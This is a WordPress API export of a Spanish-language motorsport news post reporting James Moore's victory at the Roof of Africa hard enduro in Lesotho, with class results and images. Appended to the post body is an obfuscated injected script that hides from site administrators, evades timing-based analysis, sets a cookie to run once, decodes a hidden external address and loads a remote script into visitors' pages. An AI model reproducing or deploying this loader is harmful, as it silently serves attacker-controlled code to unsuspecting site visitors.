{"id":105820,"date":"2025-11-25T18:48:12","date_gmt":"2025-11-25T21:48:12","guid":{"rendered":"https:\/\/fueluniverse.tv\/blog\/?p=105820"},"modified":"2026-01-18T12:55:12","modified_gmt":"2026-01-18T15:55:12","slug":"en-lesotho-james-moore-logro-su-primer-triunfo-mundialista","status":"publish","type":"post","link":"https:\/\/fueluniverse.tv\/blog\/actualidad\/en-lesotho-james-moore-logro-su-primer-triunfo-mundialista\/","title":{"rendered":"En Lesotho, James Moore logr\u00f3 su primer triunfo mundialista"},"content":{"rendered":"\n<figure class=\"wp-block-image size-large is-resized\"><img decoding=\"async\" width=\"770\" height=\"541\" src=\"https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/11\/image-64-770x541.png\" alt=\"\" class=\"wp-image-105823\" style=\"width:840px;height:auto\" srcset=\"https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/11\/image-64-770x541.png 770w, https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/11\/image-64-480x337.png 480w, https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/11\/image-64-768x539.png 768w, https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/11\/image-64.png 850w\" sizes=\"(max-width: 770px) 100vw, 770px\" \/><\/figure>\n\n\n\n<p>En una carrera diferente, por la altura y tipo de caminos, The Roof of Africa tuvo un ganador casi local: James Moore (KTM). El sudafricano se consagr\u00f3 en Lesotho, conteniendo los ataques finales de Manuel Lettenbichler (KTM) y Billy Bolt (Husqvarna).<\/p>\n\n\n\n<p>Moore sustituy\u00f3 a Wade Young por lesi\u00f3n, y a pesar de que parec\u00eda que era un evento ideal para que se corte la racha, los sudafricanos han ganado las \u00faltimas diez ediciones de \u00abLa Madre del Hard Enduro\u00bb. El ya campe\u00f3n Lettenbichler fue escolta, mientras que Bolt lleg\u00f3 tercero. Moore, como piloto Junior, sorprendi\u00f3 por su gran rendimiento, y aprovech\u00f3 la chance que se le abri\u00f3.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img decoding=\"async\" width=\"653\" height=\"580\" src=\"https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/11\/image-63.png\" alt=\"\" class=\"wp-image-105822\" style=\"width:840px;height:auto\" srcset=\"https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/11\/image-63.png 653w, https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/11\/image-63-480x426.png 480w\" sizes=\"(max-width: 653px) 100vw, 653px\" \/><\/figure>\n\n\n\n<p>Grant Burton Durham se alz\u00f3 con la victoria en la categor\u00eda Plata, con Sandra G\u00f3mez en d\u00e9cima posici\u00f3n, la mejor en la divisi\u00f3n femenina. Stiaan van Den Heever se alz\u00f3 con la victoria en la categor\u00eda Bronce y Gideon Malherbe, con el t\u00edtulo de Hierro.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img decoding=\"async\" width=\"770\" height=\"518\" src=\"https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/11\/image-65-770x518.png\" alt=\"\" class=\"wp-image-105824\" style=\"width:840px;height:auto\" srcset=\"https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/11\/image-65-770x518.png 770w, https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/11\/image-65-480x323.png 480w, https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/11\/image-65-768x516.png 768w, https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/11\/image-65.png 915w\" sizes=\"(max-width: 770px) 100vw, 770px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img decoding=\"async\" width=\"561\" height=\"548\" src=\"https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/11\/image-62.png\" alt=\"\" class=\"wp-image-105821\" style=\"width:840px;height:auto\" srcset=\"https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/11\/image-62.png 561w, https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2025\/11\/image-62-480x469.png 480w\" sizes=\"(max-width: 561px) 100vw, 561px\" \/><\/figure>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>En una carrera diferente, por la altura y tipo de caminos, The Roof of Africa tuvo un ganador casi local:  [+]<\/p>\n","protected":false},"author":10,"featured_media":105823,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"footnotes":""},"categories":[29,129],"tags":[],"class_list":["post-105820","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-actualidad","category-enduro"],"acf":[],"_links":{"self":[{"href":"https:\/\/fueluniverse.tv\/blog\/wp-json\/wp\/v2\/posts\/105820","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fueluniverse.tv\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fueluniverse.tv\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fueluniverse.tv\/blog\/wp-json\/wp\/v2\/users\/10"}],"replies":[{"embeddable":true,"href":"https:\/\/fueluniverse.tv\/blog\/wp-json\/wp\/v2\/comments?post=105820"}],"version-history":[{"count":2,"href":"https:\/\/fueluniverse.tv\/blog\/wp-json\/wp\/v2\/posts\/105820\/revisions"}],"predecessor-version":[{"id":106591,"href":"https:\/\/fueluniverse.tv\/blog\/wp-json\/wp\/v2\/posts\/105820\/revisions\/106591"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/fueluniverse.tv\/blog\/wp-json\/wp\/v2\/media\/105823"}],"wp:attachment":[{"href":"https:\/\/fueluniverse.tv\/blog\/wp-json\/wp\/v2\/media?parent=105820"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fueluniverse.tv\/blog\/wp-json\/wp\/v2\/categories?post=105820"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fueluniverse.tv\/blog\/wp-json\/wp\/v2\/tags?post=105820"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}